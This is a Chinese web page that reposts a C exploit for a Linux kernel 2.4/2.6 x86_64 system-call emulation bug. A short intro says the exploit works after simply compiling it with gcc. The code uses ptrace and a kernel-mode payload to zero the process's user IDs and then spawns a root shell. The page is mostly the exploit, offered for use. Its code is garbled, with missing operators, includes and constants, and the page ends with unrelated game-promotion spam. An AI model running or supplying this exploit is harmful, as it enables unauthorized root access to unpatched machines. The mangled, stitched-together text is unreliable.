安全攻略秒杀位系统的漏洞呢

Ubuntu 7.04 64位版本下测试成功。 直接gcc编译后执行就可以了。 不明白程序的原理,漏洞的原因..从描述上看是系统调用上的问题。没有shellcode ,不像是溢出。 /*Linux Kernel 2.4/2.6 x System Call Emulation Exploit/** exploit for x86_64 linux kernel ia32syscall emulation* bug, discovered by Wojciech Purczynski ** by* Robert Swiecki * Przemyslaw Frasunek * Pawel Pisarczyk * of ATM-Lab */#include #include #include #include #include #include #include #include #include uint32_t uid, euid, suid;static void kernelmodecode(void){int i;uint8_t *gs;uint32_t *ptr;asm volatile (\"movq %%gs:(0x0), %0\" : \"=r\"(gs));for (i = 200; i 1000; i+=1) {ptr = (uint32_t*) (gs + i);if ((ptr[0] == uid) (ptr[1] == euid) (ptr[2] == suid) (ptr[3] == uid)) {ptr[0] = 0; //UIDptr[1] = 0; //EUIDptr[2] = 0; //SUIDbreak;}}}static void docall(uint64_t *ptr, uint64_t size){getresuid(uid, euid, suid);uint64_t tmp = ((uint64_t)ptr ~0xFFF);if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {printf(\"mmap fault\\n\");exit(1);}for (; ptr (tmp + size); ptr++)*ptr = (uint64_t)kernelmodecode;__asm__(\"\\n\"\"\\tmovq $0x101, %rax\\n\"\"\\tint $0x80\\n\");printf(\"UID %d, EUID:%d GID:%d, EGID:%d\\n\", getuid(), geteuid(), getgid(), getegid());execl(\"/bin/sh\", \"bin/sh\", 0);printf(\"no /bin/sh ??\\n\");exit(0);}int main(int argc, char **argv){int pid, status, set = 0;uint64_t rax;uint64_t kern_s = 0xffffffff;uint64_t kern_e = 0xffffffff;uint64_t off = 0x * 8;if (argc == 4) {docall((uint64_t*)(kern_s + off), kern_e - kern_s);exit(0);}if ((pid = fork()) == 0) {ptrace(PTRACE_TRACEME, 0, 0, 0);execl(argv[0], argv[0], \"2\", \"3\", \"4\", 0);perror(\"exec fault\");exit(1);}if (pid == -1) {printf(\"fork fault\\n\");exit(1);}for (;;) {if (wait(status) != pid)continue;if (WIFEXITED(status)) {printf(\"Process finished\\n\");break;}if (!WIFSTOPPED(status))continue;if (WSTOPSIG(status) != SIGTRAP) {printf(\"Process received signal: %d\\n\", WSTOPSIG(status));break;}rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);if (rax == 0x) {if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {printf(\"PTRACE_POKEUSER fault\\n\");exit(1);}set = 1;}if ((rax == 11) set) {ptrace(PTRACE_DETACH, pid, 0, 0);for(;;)sleep(10000);}if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {printf(\"PTRACE_SYSCALL fault\\n\");exit(1);}}return 0;}// []

都 是很无所谓地。但是就能领到很实惠地奖励首冲大礼包。 新区有些活动必须参加地 查看本文来源